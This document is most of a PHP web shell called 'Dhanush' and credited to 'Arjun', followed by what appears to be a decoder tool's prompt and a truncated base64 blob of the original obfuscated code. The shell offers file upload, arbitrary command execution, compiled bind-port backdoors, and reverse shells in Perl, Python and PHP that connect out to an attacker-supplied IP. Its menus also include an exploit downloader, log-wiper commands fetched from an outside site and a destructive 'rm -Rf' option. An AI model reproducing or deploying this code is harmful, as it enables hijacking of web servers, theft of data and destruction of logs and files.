						echo "User is (<b>$user</b>) Password is (<b><font class=\'txt\'>$pass</font></b>)<br />";
						$ok++;
					}
				}
			}
		}
		echo "<hr><b>You Found <font color=red>$ok</font></b>";
	}
	else
		$bdmessage =  "<center>Enter Username & Password List<center>";
}
elseif(isset($_GET[\'style\']))
{
	setcookie(\'style\',$_GET[\'style\']);
	header("location:$self");
}
else if(isset($_GET[\'info\']))
{
	$bdmessage = "<br><div align=left><font class=txt>".nl2br(shell_exec("whois ".$_GET[\'info\']))."</font></div>";
}
else if(isset($_POST[\'u\']))
{
	$path = $_REQUEST[\'path\'];
	if(is_dir($path))
        {
		$setuploadvalue = 0;
            $uploadedFilePath = $_FILES[\'uploadfile\'][\'name\'];
            $tempName = $_FILES[\'uploadfile\'][\'tmp_name\'];
			if($os == "Windows")
	            $uploadPath = $path . $directorysperator .  $uploadedFilePath;
			else if($os == "Linux")
				 $uploadPath = $path . $directorysperator . $uploadedFilePath;
			if($stat = move_uploaded_file($_FILES[\'uploadfile\'][\'tmp_name\'] , $uploadPath))
           		$bdmessage = "<font class=txt size=3><blink>File uploaded to $uploadPath</blink></font>";
            else
            	$bdmessage = "<font  size=3><blink>Failed to upload file to $uploadPath</blink></font>";
         }
	?><script type="text/javascript">changedir(\'dir\',\'<?php echo addslashes($path); ?>\'); </script><?php
}
else if(isset($_POST[\'backdoor\']))
{
	if(isset($_POST[\'passwd\']) && isset($_POST[\'port\']) && isset($_POST[\'lang\']))
	{	  ?><script type="text/javascript">gethome(\'connect\');</script><?php
		 $passwd = $_POST[\'passwd\'];
		 
		 if($_POST[\'lang\'] == \'c\') 
		 {
			if(is_writable("."))
			{	
				@$fh=fopen(getcwd()."/backp.c",\'w\');
				@fwrite($fh,gzinflate(base64_decode($bind_port_c)));
				@fclose($fh);
				execmd("chmod  0755 ".getcwd()."/backp.c");
				execmd("gcc -o ".getcwd()."/backp ".getcwd()."/backp.c");
				execmd("chmod  0755 ".getcwd()."/backp");
				execmd(getcwd()."/backp"." ".$_POST[\'port\']." ". $passwd ." &");
				$scan = exec_all("ps aux | grep backp".$_POST[\'port\']); 
				if(eregi("backp".$_POST[\'port\'],$scan))
					$bdmessage = "Process found running, backdoor setup successfully.";
				else
					$bdmessage = "Process not found running, backdoor not setup successfully.";
			} 
			else 
			{
				@$fh=fopen("/tmp/backp.c","w");
				@fwrite($fh,gzinflate(base64_decode($bind_port_c)));
				@fclose($fh);
				execmd("chmod  0755 /tmp/backp.c");
				execmd("gcc -o /tmp/backp /tmp/backp.c");
				$out = execmd("/tmp/backp"." ".$_POST[\'port\']." ". $passwd ." &");
				$scan = exec_all("ps aux | grep backp".$_POST[\'port\']); 
				if(eregi("backp".$_POST[\'port\'],$scan))
					$bdmessage = "Process found running, backdoor setup successfully.";
				else
					$bdmessage = "Process not found running, backdoor not setup successfully.";
			}
        	} 
		if($_POST[\'lang\'] == \'perl\') 
		{
        	if(is_writable("."))
			{	
				@$fh=fopen(getcwd()."/bp.pl",\'w\');
				@fwrite($fh,gzinflate(base64_decode($bind_port_p)));
				@fclose($fh);
				execmd("chmod 0755 ".getcwd()."/bp.pl");
				execmd("perl ".getcwd()."/bp.pl ".$_POST[\'port\']." ". $passwd ." &");

				$bdmessage = "<pre>$out
".execmd("ps aux | grep bp.pl")."</pre>"; 
			} 
			else 
			{
				@$fh=fopen("/tmp/bp.pl","w");
				@fwrite($fh,gzinflate(base64_decode($bind_port_p)));
				@fclose($fh);
				execmd("chmod 0755 ".getcwd()."/bp.pl");
				execmd("perl ".getcwd()."/bp.pl ".$_POST[\'port\']." ". $passwd ." &");
				$bdmessage = "<pre>$out
".execmd("ps aux | grep bp.pl")."</pre>"; 
			}
        }
 	}
}
else if(isset($_POST[\'backconnect\']))
{
    if($_POST[\'ip\'] != "" && $_POST[\'port\'] != "")
	{     ?><script type="text/javascript">gethome(\'connect\');</script><?php
		$host = $_POST[\'ip\'];
		$port = $_POST[\'port\'];
		if($_POST["lang"] == "perl")
		{
			if(is_writable("."))
			{	
				@$fh=fopen(getcwd()."/bc.pl",\'w\');
				@fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
				@fclose($fh);
				$bdmessage = "<font color=\'#FFFFFF\'>Trying to connect...</font>";
				execmd("perl ".getcwd()."/bc.pl $host $port  &",$disable);
				if(!@unlink(getcwd()."/bc.pl")) echo "<font color=\'#FFFFFF\' size=3>Warning: Failed to delete reverse-connection program</font></br>";
			} 
			else 
			{
				@$fh=fopen("/tmp/bc.pl","w");
				@fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
				@fclose($fh);
				$bdmessage = "<font color=\'#FFFFFF\'>Trying to connect...</font>";
				execmd("perl /tmp/bc.pl $host $port  &",$disable);
				if(!@unlink("/tmp/bc.pl")) 
					echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
			}
		}
		else if($_POST["lang"] == "python")
		{
			if(is_writable("."))
			{
				 $w_file=@fopen(getcwd()."/bc.py","w") or die(mysql_error());
				 if($w_file)
				 {
					 @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
					 @fclose($w_file);
					 chmod(getcwd().\'/bc.py\', 0777);
				 }
				 execmd("python ".getcwd()."/bc.py $host $port  &",$disable);
				 $bdmessage = "<font color=\'#FFFFFF\'>Trying to connect...</font>";

				 if(!@unlink(getcwd()."/bc.py")) 
					echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";				 				 
			} 
			else 
			{
			     $w_file=@fopen("/tmp/bc.py","w");
				 if($w_file)
				 {
					 @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
					 @fclose($w_file);
					 chmod(\'/tmp/bc.py\', 0777);
				 }
				 execmd("python /tmp/bc.py $host $port  &",$disable);
				 $bdmessage = "<font color=\'#FFFFFF\'>Trying to connect...</font>";
				 if(!@unlink("/tmp/bc.py")) 
					echo "<h2>Warning: Failed to delete reverse-connection program</h2><br>";				 
			}
		}
		else if($_POST["lang"] == "php")
		{
			$bdmessage = "<font color=\'#FFFFFF\'>Trying to connect...</font>";
			$ip = $_POST[\'ip\']; 
			$port=$_POST[\'port\']; 
			$sockfd=fsockopen($ip , $port , $errno, $errstr ); 
			if($errno != 0)
			{
				$bdmessage = "<b>$errno</b> : $errstr";
			}
			else if (!$sockfd)
			{ 
				   $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
			} 
			else
			{ 
				fputs ($sockfd ,"
=================================================================
Coded By Arjun
=================================================================");
			 $pwd = exec_all("pwd");
			 $sysinfo = exec_all("uname -a");
			 $id = exec_all("id");
			 $len = 1337;
			 fputs($sockfd ,$sysinfo . "
" );
			 fputs($sockfd ,$pwd . "
" );
			 fputs($sockfd ,$id ."

" );
			 fputs($sockfd ,$dateAndTime."

" );
			 while(!feof($sockfd))
			 {  
				$cmdPrompt ="(dhanush)[$]> ";
				fputs ($sockfd , $cmdPrompt ); 
				$command= fgets($sockfd, $len);
				fputs($sockfd , "
" . exec_all($command) . "

");
			} 
			fclose($sockfd); 
			} 
		}
	}
}
else if (isset ($_GET[\'val1\'], $_GET[\'val2\']) && is_numeric($_GET[\'val1\']) && is_numeric($_GET[\'val2\'])) 
{
	$temp = "";
	for(;$_GET[\'val1\'] <= $_GET[\'val2\'];$_GET[\'val1\']++) 
	{
		$uid = @posix_getpwuid($_GET[\'val1\']);
		if ($uid)
			 $temp .= join(\':\',$uid)."
";
	}
	echo \'<br/>\';
	paramexe(\'Users\', $temp);
}
else if(isset($_GET[\'download\']))
{
	download();			
}
else
{
	?><script type="text/javascript">gethome(\'home\',\'<?php echo addslashes($dir); ?>\');</script><?php
}
$is_writable = is_writable($dir)?"<font class=txt>&lt; writable &gt;</font>":"&lt; not writable &gt;";
?>
</p><center><div id="showdir"><?php echo $bdmessage; ?></div></center>
<table class="btmtbl" style="width:100%;" border="1">
<tr>
<td class="btmtbl" align="center">
<form method="post" enctype="multipart/form-data">
Upload file : <br><input type="file" name="uploadfile" class="box" size="50">
<input type="hidden" id=path name="path" value="<?php echo $dir; ?>" />&nbsp;
<input type=submit value="Upload" name="u" value="u" class="but" ></form>
<span name="wrtble"><?php

echo $is_writable; ?></span>
		  <br>
</td>
<td class="btmtbl" align="center" style="height:105px;">Create File : 
<form onSubmit="createdir(\'Create\',createfile.value);return false;">
<input type="text" class="box" value="<?php echo $dir . $directorysperator; ?>" name="createfile" id="createfile">
<input type="button" onClick="createdir(\'Create\',createfile.value)" value="Create" class="but">
</form><span name="wrtble">
<?php echo $is_writable; ?></span>
</td>
</tr>
<tr>
<td class="btmtbl" align="center" style="height:105px;">Execute : <form onSubmit="executemyfile(\'execute\',\'<?php echo addslashes($dir); ?>\',execute.value);return false;">
<input type="text" class="box" name="execute">
<input type="hidden" id="exepath" name="exepath" value="<?php echo $dir; ?>">
 <input type="button" onClick="executemyfile(\'execute\',exepath.value,execute.value)" value="Execute" class="but"></form></td>

<td class="btmtbl" align="center">Create Directory : <form onSubmit="createdir(\'createfolder\',createfolder.value);return false;">
<input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="createfolder" id="createfolder">
<input type="button" onClick="createdir(\'createfolder\',createfolder.value)" value="Create" class="but">
</form><span name="wrtble"><?php
echo $is_writable;
?></span></td></tr>
<tr>
<td class="btmtbl" align="center">Read File<form onSubmit="createdir(\'readfile\',readfile.value);return false;">
<input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="readfile" id="readfile">
<input type="button" onClick="createdir(\'readfile\',readfile.value)" value="Read" class="but">
</form></td>
<td class="btmtbl" align="center">Read Directory<form onSubmit="changedir(\'dir\',readdir.value);return false;">
<input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="readdir" id="readdir">
<input type="button" onClick="changedir(\'dir\',readdir.value)" value="   View   " class="but">
</form></td></tr>
<tr><td class="btmtbl" style="height:105px;" align="center">Get Exploit&nbsp;<form onSubmit="getexploit(wurl.value,path.value,functiontype.value);return false;">
<input type="text" name="wurl" class="box" value="http://www.some-code/exploits.c"> 
<input type="button" onClick="getexploit(wurl.value,uppath.value,functiontype.value)" value="    G0    " class="but"><br><br>
<input type="hidden" id="uppath" name="uppath" value="<?php echo $dir . $directorysperator; ?>">
<select name="functiontype" class="sbox"> 
<option value="wwget">wget</option> 
<option value="wlynx">lynx</option> 
<option value="wfread">fread</option> 
<option value="wfetch">fetch</option> 
<option value="wlinks">links</option> 
<option value="wget">GET</option> 
<option value="wcurl">curl</option> 
</select>
</form><div id="showexp"></div>
</td>
<td class="btmtbl" align="center">
<form>
Some Commands<br>
<?php if($os != "Windows")
{ ?>
<SELECT NAME="mycmd" class="box">
     <OPTION VALUE="uname -a">Kernel version
     <OPTION VALUE="w">Logged in users
     <OPTION VALUE="lastlog">Last to connect
	 <option value=\'cat /etc/hosts\'>IP Addresses
	 <option value=\'cat /proc/sys/vm/mmap_min_addr\'>Check MMAP
	 <OPTION VALUE="logeraser">Log Eraser
	 <OPTION VALUE="find / -perm -2 -ls">Find all writable directories
	 <OPTION VALUE="find . -perm -2 -ls">Find all writable directories in Current Folder
	 <OPTION VALUE="find / -type f -name \'config\'">find config files
	 <OPTION VALUE="find . -type f -name \"config\"">find config files in current dir
	 
     <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
     <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
	 <?php if(is_dir(\'/etc/valiases\')){ ?><option value="ls -l /etc/valiases">List of Cpanel`s domains(valiases)</option><?php } ?>
	 <?php if(is_dir(\'/etc/vdomainaliases\')) { ?><option value=\"ls -l /etc/vdomainaliases">List Cpanel`s domains(vdomainaliases)</option><?php } ?>
     <OPTION VALUE="which wget curl w3m lynx">Downloaders?
     <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
	 <OPTION VALUE="ps aux">Show running proccess
	 <OPTION VALUE="uptime">Uptime check
	 <OPTION VALUE="cat /proc/meminfo">Memory check
     <OPTION VALUE="netstat -an | grep -i listen">Open ports
	 <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
     <OPTION VALUE="wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
     <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
     <OPTION VALUE="./zap2">WIPELOGS PT3
	 <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
 </SELECT>
 <?php } else {?>
 <SELECT NAME="mycmd" class="box">
   	<OPTION VALUE="dir /s /w /b *config*.php">Find *config*.php in current directory
	<OPTION VALUE="dir /s /w /b index.php">Find index.php in current dir
 	<OPTION VALUE="systeminfo">System Informations
	<OPTION VALUE="net user">User accounts
    <OPTION VALUE="netstat -an">Open ports
	<OPTION VALUE="getmac">Get Mac Address
	<OPTION VALUE="net start">Show running services
	<OPTION VALUE="net view">Show computers
	<OPTION VALUE="arp -a">ARP Table
	<OPTION VALUE="tasklist">Show Process
	<OPTION VALUE="ipconfig/all">IP Configuration
	
 </SELECT>
 <?php } ?>
 <input type="hidden" id="auexepath" name="auexepath" value="<?php echo $dir; ?>">
<input type="button" onClick="executemyfile(\'mycmd\',auexepath.value,mycmd.value)" value="Execute" class="but">
</form>
</td>
</tr></table><br>
	
</td>
</tr>
</table>

<?php


//logout

if(isset($_GET[\'logout\']))
{
    setcookie("hacked",time() - 60*60);
	header("Location:$self");
	ob_end_flush();
}	
?>


<hr color="#1B1B1B">
<div align="center">
<font size="6" face="Times New Roman, Times, serif">&#2343;&#2344;&#2369;&#2359;<br>
--==Coded By Arjun==--</font><br><a href="http://www.google.com/search?q=%E0%A4%9C%E0%A4%AF%20%E0%A4%B9%E0%A4%BF%E0%A4%A8%E0%A5%8D%E0%A4%A6" target="_blank"><font  size="6">&#2332;&#2351; &#2361;&#2367;&#2344;&#2381;&#2342;</font></a></div>
<?php 
}	
}

if(isset($_POST[\'uname\']) && isset($_POST[\'passwd\']))
{
    if( $_POST[\'uname\'] == $user && $_POST[\'passwd\'] == $pass )
    {
         setcookie("hacked", md5($pass));
		 $selfenter = $_SERVER["PHP_SELF"];
		 header("Location:$selfenter");
	}
}
		
if((!isset($_COOKIE[\'hacked\']) || $_COOKIE[\'hacked\']!=md5($pass)) )
{
		echo $shellstyle;
?>
	<center>
	<form method="POST">
	<div class="logindiv" style="width:50%; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:410px;">
		<table cellpadding="9" cellspacing="4">
			<tr>
				<td align="center" colspan="2"><blink><font size="7"><b>Dhanush</b></font></blink></td>
			</tr>
			<tr>
				<td align="right"><b>User Name : </b></td>
				<td><input type="text" name="uname" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;"  value="User Name" onFocus="if (this.value == \'User Name\'){this.value=\'\'; this.style.color=\'black\';}" onBlur="if (this.value == \'\') {this.value=\'User Name\'; this.style.color=\'#828282\';}" AUTOCOMPLETE="OFF"></td>
			</tr>
			<tr>
				<td align="right"><b>Password : </b></td>
				<td><input type="password" name="passwd" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;"  value="User Name" onFocus="if (this.value == \'User Name\'){this.value=\'\'; this.style.color=\'black\';}" onBlur="if (this.value == \'\') {this.value=\'User Name\'; this.style.color=\'#828282\';}" AUTOCOMPLETE="OFF"></td>
			</tr>
			<tr>
				<td align="center" colspan="2"><input type="submit" class="but" value="     Enter     "></td>
			</tr>
			<tr>
				<td align="center" colspan="2"><font size="6" face="Times New Roman, Times, serif"><b>--==Coded By Arjun==--</b></font></td>
			</tr>
			<tr>
				<td colspan="2"><font size="4" face="Times New Roman, Times, serif"><noscript>Enable Javascript in your browser for the proper working of the shell</noscript></font></td>
			</tr>
		</table>
	</div>
	
	</form>
	</center>
<br>

</body>
</html>
<?php  
}
?>'

Did this file decode correctly?

Original Code

$bhrt = "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